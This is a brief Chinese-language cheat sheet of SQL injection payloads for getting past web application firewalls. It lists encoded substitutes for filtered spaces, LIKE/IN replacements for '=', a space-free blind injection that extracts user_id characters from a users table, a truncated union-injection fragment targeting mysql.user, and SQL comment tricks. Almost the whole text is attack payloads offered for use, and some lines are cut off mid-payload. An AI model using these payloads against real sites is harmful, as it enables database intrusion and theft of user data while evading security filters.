绕 WAF
过滤空格:
+,%2B,%20,%09,%0d,%0A,/**/,/*tuns*/
使用 like、IN、NOT IN 替换 =:
script.php?...par=1 and (select mid(version(),1,1)=4)
无需空格之盲注:
script.php?...1'and(exists(select(1)from(users)where(ascii(lower(substring(user_id,1,1))))like(50) ))and'1'<'2'
无需空格之联合注入...0mysql.user/*-&sendbutton1=Get+Statement
#
news.php?...select * from users where name = 'te'='st';
"1"'2'"3" '1'"2"'3'
注释符
/* 多行 最后使用过 */ 结尾
- 单行 后面必须跟 空格